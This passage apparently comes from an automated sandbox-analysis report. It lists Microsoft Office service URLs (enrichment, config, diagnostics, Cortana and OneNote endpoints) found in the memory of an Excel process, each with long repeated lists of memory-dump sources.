Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies-lT
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dev.cortana.ai
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://dev.cortana.aik
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://devnull.onenote.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://devnull.onenote.comt?-
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://directory.services.
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://ecs.office.com/config/v2/Officey
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/JH
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1vK
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1Lt
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/d2db8
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: EXCEL.EXE, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml=1
Source: EXCEL.EXE, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtmlW1
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/QH
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://enrichment.osi.office.net/fH
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, 